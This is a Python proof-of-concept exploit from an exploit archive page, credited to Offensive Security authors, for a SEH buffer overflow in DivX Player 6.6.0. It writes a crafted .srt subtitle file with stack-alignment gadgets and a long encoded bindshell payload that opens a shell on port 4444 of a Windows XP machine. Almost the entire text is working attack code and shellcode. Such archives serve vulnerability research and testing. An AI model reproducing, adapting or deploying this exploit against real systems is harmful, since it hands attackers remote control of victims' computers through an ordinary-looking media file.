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DivX Player 6.6.0 SRT File SEH Buffer Overflow Exploit
[======================================================
DivX Player 6.6.0 SRT File SEH Buffer Overflow Exploit
======================================================
#!/usr/bin/python
#######################################################################
# DivX 6.6 SRT SEH overwrite PoC
# Tested on XP SP2
# Coded by Mati Aharoni, aka muts and Chris Hadnagy, aka loganWHD
# muts..at..offensive-security...dot..com
# chris..at..offensive-security...dot..com
# http://www.offensive-security.com/0day/divx66.py.txt
# Notes: Unicode buffer - real pita.
# Greetz to our wives - thanks for the couch!
#######################################################################
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator\Desktop>
#######################################################################
# file = name of avi video file
file="infidel.srt"
# Unicode friendly POP POP RET somewhere in DivX 6.6
# Note: \x94 bites back - dealt with by xchg'ing again and doing a dance to shellcode Gods
ret="\x94\x48"
# Align stack for register save
nudge="\x48\x6d"
# Payload building blocks
buffer="\x41" * 1032
xchg="\x94\x6d" # Swap back EAX, ESP for stack save,nop
pushad="\x60\x6d" # Save stack registers,nop
pushfd="\x9c\x6d"
align_buffer="\x05\xFF\x3C\x6D\x2D\xe1\x3C\x6D\x2D\xFF\x10\x6D\x05\xFF\x10\x6D" # Point to end of buffer
align_eax="\x2D\x2F\x10\x6D\x05\x10\x10\x6D" # Align EAX for popad/fd
popfd="\x9D\x6D" # popfd,nop
popad="\x61\x6D"# popad,nop
padding="\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" # Crawl with remaining strength on bleeding knees to shellcode
rest= "\x01" * 5000000 # Buffer and shellcode canvas
# PoC Venetian Bindshell on port 4444 - ph33r
# Built on alternating 00 01 surface
# Venetian self decoding bindshell - 1580 bytes
bindshell = (buffer + ret + xchg + pushad + pushfd + xchg + align_buffer +
"\x80\xFB\x6D\x40\x6D\x80\x6A\x6D\x40\x6D\x80\xEA\x6D\x40\x6D\x80"
"\x4D\x6D\x40\x6D\x80\xE7\x6D\x40\x6D\x80\xF9\x6D\x40\x6D\x80\xFE"
"\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\xFE\x6D\x40\x6D\x80\x60\x6D"
"\x40\x6D\x80\x8A\x6D\x40\x6D\x80\x6C\x6D\x40\x6D\x80\x23\x6D\x40"
"\x6D\x80\x24\x6D\x40\x6D\x80\x8A\x6D\x40\x6D\x80\x45\x6D\x40\x6D"
"\x80\x3B\x6D\x40\x6D\x80\x8B\x6D\x40\x6D\x80\x7B\x6D\x40\x6D\x80"
"\x05\x6D\x40\x6D\x80\x77\x6D\x40\x6D\x80\x01\x6D\x40\x6D\x80\xEE"
"\x6D\x40\x6D\x80\x8B\x6D\x40\x6D\x80\x4E\x6D\x40\x6D\x80\x18\x6D"
"\x40\x6D\x80\x8A\x6D\x40\x6D\x80\x5F\x6D\x40\x6D\x80\x1F\x6D\x40"
"\x6D\x80\x01\x6D\x40\x6D\x80\xEA\x6D\x40\x6D\x80\x49\x6D\x40\x6D"
"\x80\x8A\x6D\x40\x6D\x80\x34\x6D\x40\x6D\x80\x8A\x6D\x40\x6D\x80"
"\x01\x6D\x40\x6D\x80\xED\x6D\x40\x6D\x80\x31\x6D\x40\x6D\x80\xBF"
"\x6D\x40\x6D\x80\x99\x6D\x40\x6D\x80\xAB\x6D\x40\x6D\x80\x84\x6D"
"\x40\x6D\x80\xBF\x6D\x40\x6D"
"\x80\x74\x6D\x40\x6D\x80\x06\x6D\x40\x6D\x80\xC1\x6D\x40\x6D\x80"
"\xC9\x6D\x40\x6D\x80\xEF\x6D\x80\x1E\x6D\x40\x6D\x40\x6D\x80\xC2"
"\x6D\x40\x6D\x80\xEA\x6D\x40\x6D\x80\xF4\x6D\x40\x6D\x80\x3A\x6D"
"\x40\x6D\x80\x54\x6D\x40\x6D\x80\x23\x6D\x40\x6D\x80\x28\x6D\x40"
"\x6D\x80\x74\x6D\x40\x6D\x80\xE5\x6D\x40\x6D\x80\x8A\x6D\x40\x6D"
"\x80\x5F\x6D\x40\x6D\x80\x23\x6D\x40\x6D\x80\x01\x6D\x40\x6D\x80"
"\xEA\x6D\x40\x6D\x80\x66\x6D\x40\x6D\x80\x8A\x6D\x40\x6D\x80\x0C"
"\x6D\x40\x6D\x80\x4A\x6D\x40\x6D\x80\x8B\x6D\x40\x6D\x80\x5E\x6D"
"\x40\x6D\x80\x1C\x6D\x40\x6D\x40\x6D\x80\xEB\x6D\x40\x6D\x80\x02"
"\x6D\x40\x6D\x80\x2C\x6D\x40\x6D\x80\x8A\x6D\x40\x6D\x80\x89\x6D"
"\x40\x6D\x80\x6B\x6D\x40\x6D\x80\x24\x6D\x40\x6D\x80\x1B\x6D\x40"
"\x6D\x80\x61\x6D\x40\x6D\x80\xC2\x6D\x40\x6D\x80\x31\x6D\x40\x6D"
"\x80\xDA\x6D\x40\x6D\x80\x64\x6D\x40\x6D\x80\x8A\x6D\x40\x6D\x80"
"\x43\x6D\x40\x6D\x80\x2F\x6D\x40\x6D\x80\x8B\x6D\x40\x6D\x80\x3F"
"\x6D\x40\x6D\x80\x0C\x6D\x40\x6D\x80\x8A\x6D\x40\x6D\x80\x70\x6D"
"\x40\x6D\x80\x1B\x6D\x40\x6D\x80\xAD\x6D\x40\x6D\x80\x8A\x6D\x40"
"\x6D\x80\x40\x6D\x40\x6D\x80\x07\x6D\x40\x6D\x80\x5E\x6D\x40\x6D"
"\x80\x67\x6D\x40\x6D\x80\x8E\x6D\x40\x6D\x80\x4D\x6D\x40\x6D\x80"
"\x0E\x6D\x40\x6D\x80\xEB\x6D\x40\x6D\x80\x50\x6D\x40\x6D\x80\xFE"
"\x6D\x40\x6D\x80\xD6\x6D\x40\x6D\x80\x65\x6D\x40\x6D\x80\x53\x6D"
"\x40\x6D\x80\x65\x6D\x40\x6D\x80\x68\x6D\x40\x6D\x80\x32\x6D\x40"
"\x6D\x80\x32\x6D\x40\x6D\x80\x67\x6D\x40\x6D\x80\x77\x6D\x40\x6D"
"\x80\x72\x6D\x40\x6D\x80\x32\x6D\x40\x6D\x80\x5E\x6D\x40\x6D\x80"
"\x54\x6D\x40\x6D\x80\xFE\x6D\x40\x6D\x80\xD0\x6D\x40\x6D\x80\x67"
"\x6D\x40\x6D\x80\xCB\x6D\x40\x6D\x80\xEC\x6D\x40\x6D\x80\xFC\x6D"
"\x40\x6D\x80\x3A\x6D\x40\x6D\x80\x50\x6D\x40\x6D\x80\xFE\x6D\x40"
"\x6D\x80\xD6\x6D\x40\x6D\x80\x5E\x6D\x40\x6D\x80\x89\x6D\x40\x6D"
"\x80\xE4\x6D\x40\x6D\x80\x66\x6D\x40\x6D\x80\x80\x6D\x40\x6D\x80"
"\xED\x6D\x40\x6D\x80\x07\x6D\x40\x6D\x80\x02\x6D\x40\x6D\x80\x54"
"\x6D\x40\x6D\x80\x6A\x6D\x40\x6D\x80\x01\x6D\x40\x6D\x80\xFF\x6D"
"\x40\x6D\x80\xCF\x6D\x40\x6D\x80\x68\x6D\x40\x6D\x80\xD8\x6D\x40"
"\x6D\x80\x09\x6D\x40\x6D\x80\xF4\x6D\x40\x6D\x80\xAD\x6D\x40\x6D"
"\x80\x56\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\xD5\x6D\x40\x6D\x80"
"\x53\x6D\x40\x6D\x80\x52\x6D\x40\x6D\x80\x53\x6D\x40\x6D\x80\x52"
"\x6D\x40\x6D\x80\x53\x6D\x40\x6D\x80\x42\x6D\x40\x6D\x80\x53\x6D"
"\x40\x6D\x80\x42\x6D\x40\x6D\x80\x53\x6D\x40\x6D\x80\xFE\x6D\x40"
"\x6D\x80\xD0\x6D\x40\x6D\x80\x65\x6D\x40\x6D\x80\x68\x6D\x40\x6D"
"\x80\x10\x6D\x40\x6D\x80\x5C\x6D\x40\x6D\x80\x65\x6D\x40\x6D\x80"
"\x53\x6D\x40\x6D\x80\x88\x6D\x40\x6D\x80\xE1\x6D\x40\x6D\x80\x94"
"\x6D\x40\x6D\x80\x68\x6D\x40\x6D\x80\xA3\x6D\x40\x6D\x80\x1A\x6D"
"\x40\x6D\x80\x6F\x6D\x40\x6D\x80\xC7\x6D\x40\x6D\x80\x56\x6D\x40"
"\x6D\x80\xFF\x6D\x40\x6D\x80\xD5\x6D\x40\x6D\x80\x6A\x6D\x40\x6D"
"\x80\x0F\x6D\x40\x6D\x80\x51\x6D\x40\x6D\x80\x54\x6D\x40\x6D\x80"
"\xFF\x6D\x40\x6D\x80\xCF\x6D\x40\x6D\x80\x68\x6D\x40\x6D\x80\xA3"
"\x6D\x40\x6D\x80\xAD\x6D\x40\x6D\x80\x2D\x6D\x40\x6D\x80\xE9\x6D"
"\x40\x6D\x80\x56\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\xD5\x6D\x40"
"\x6D\x80\x53\x6D\x40\x6D\x80\x54\x6D\x40\x6D\x80\xFF\x6D\x40\x6D"
"\x80\xCF\x6D\x40\x6D\x80\x68\x6D\x40\x6D\x80\xE4\x6D\x40\x6D\x80"
"\x49\x6D\x40\x6D\x80\x85\x6D\x40\x6D\x80\x49\x6D\x40\x6D\x80\x56"
"\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\xD5\x6D\x40\x6D\x80\x50\x6D"
"\x40\x6D\x80\x53\x6D\x40\x6D\x80\x54\x6D\x40\x6D\x80\x54\x6D\x40"
"\x6D\x80\xFF\x6D\x40\x6D\x80\xCF\x6D\x40\x6D\x80\x93\x6D\x40\x6D"
"\x80\x67\x6D\x40\x6D\x80\xE7\x6D\x40\x6D\x80\x78\x6D\x40\x6D\x80"
"\xC6\x6D\x40\x6D\x80\x78\x6D\x40\x6D\x80\x57\x6D\x40\x6D\x80\xFE"
"\x6D\x40\x6D\x80\xD6\x6D\x40\x6D\x80\x54\x6D\x40\x6D\x80\xFF\x6D"
"\x40\x6D\x80\xCF\x6D\x40\x6D\x80\x66\x6D\x40\x6D\x80\x69\x6D\x40"
"\x6D\x80\x64\x6D\x40\x6D\x80\x65\x6D\x40\x6D\x80\x68\x6D\x40\x6D"
"\x80\x62\x6D\x40\x6D\x80\x6D\x6D\x40\x6D\x80\x88\x6D\x40\x6D\x80"
"\xE5\x6D\x40\x6D\x80\x69\x6D\x40\x6D\x80\x50\x6D\x40\x6D\x80\x58"
"\x6D\x40\x6D\x80\x29\x6D\x40\x6D\x80\xCB\x6D\x40\x6D\x80\x89\x6D"
"\x40\x6D\x80\xE6\x6D\x40\x6D\x80\x6A\x6D\x40\x6D\x80\x43\x6D\x40"
"\x6D\x80\x89\x6D\x40\x6D\x80\xE1\x6D\x40\x6D\x80\x31\x6D\x40\x6D"
"\x80\xBF\x6D\x40\x6D\x80\xF3\x6D\x40\x6D\x80\xA9\x6D\x40\x6D\x80"
"\xFE\x6D\x40\x6D\x80\x41\x6D\x40\x6D\x80\x2D\x6D\x40\x6D\x80\xFD"
"\x6D\x40\x6D\x80\x42\x6D\x40\x6D\x80\x2B\x6D\x40\x6D\x80\x93\x6D"
"\x40\x6D\x80\x8C\x6D\x40\x6D\x80\x7A\x6D\x40\x6D\x80\x37\x6D\x40"
"\x6D\x80\xAB\x6D\x40\x6D\x80\xAA\x6D\x40\x6D\x80\xAB\x6D\x40\x6D"
"\x80\x67\x6D\x40\x6D\x80\x72\x6D\x40\x6D\x80\xFD\x6D\x40\x6D\x80"
"\xB3\x6D\x40\x6D\x80\x15\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\x74"
"\x6D\x40\x6D\x80\x44\x6D\x40\x6D\x80\xFE\x6D\x40\x6D\x80\xD6\x6D"
"\x40\x6D\x80\x5A\x6D\x40\x6D\x80\x57\x6D\x40\x6D\x80\x51\x6D\x40"
"\x6D\x80\x51\x6D\x40\x6D\x80\x50\x6D\x40\x6D\x80\x51\x6D\x40\x6D"
"\x80\x69\x6D\x40\x6D\x80\x01\x6D\x40\x6D\x80\x50\x6D\x40\x6D\x80"
"\x51\x6D\x40\x6D\x80\x54\x6D\x40\x6D\x80\x51\x6D\x40\x6D\x80\xFE"
"\x6D\x40\x6D\x80\xD0\x6D\x40\x6D\x80\x67\x6D\x40\x6D\x80\xAD\x6D"
"\x40\x6D\x80\xD8\x6D\x40\x6D\x80\x05\x6D\x40\x6D\x80\xCD\x6D\x40"
"\x6D\x80\x53\x6D\x40\x6D\x80\xFE\x6D\x40\x6D\x80\xD6\x6D\x40\x6D"
"\x80\x69\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\xFE\x6D\x40\x6D\x80"
"\x37\x6D\x40\x6D\x80\xFE\x6D\x40\x6D\x80\xD0\x6D\x40\x6D\x80\x8A"
"\x6D\x40\x6D\x80\x57\x6D\x40\x6D\x80\xFB\x6D\x40\x6D\x80\x83\x6D"
"\x40\x6D\x80\xC3\x6D\x40\x6D\x80\x64\x6D\x40\x6D\x80\xFE\x6D\x40"
"\x6D\x80\xD6\x6D\x40\x6D\x80\x51\x6D\x40\x6D\x80\xFF\x6D\x40\x6D"
"\x80\xCF\x6D\x40\x6D\x80\x68\x6D\x40\x6D\x80\xEE\x6D\x40\x6D\x80"
"\xCE\x6D\x40\x6D\x80\xDF\x6D\x40\x6D\x80\x60\x6D\x40\x6D\x80\x52"
"\x6D\x40\x6D\x80\xFF\x6D\x40\x6D\x80\xD5\x6D\x40\x6D\x80\xFF\x6D"
"\x40\x6D\x80\xCF\x6D" + nudge * 60 + align_eax + xchg +popfd +popad +padding + rest)
f=open(file,'w')
f.write("1 \n")
f.write("00:00:01,001 --> 00:00:02,001\n")
f.write(bindshell)
f.close()
print "DivX 6.6 SEH SRT Overflow - PoC\n";
print "http://www.offensive-security.com/0day/divx66.py.txt\n";
print "SRT has been created - ph33r \n";
# 0day.today [2024-12-23] #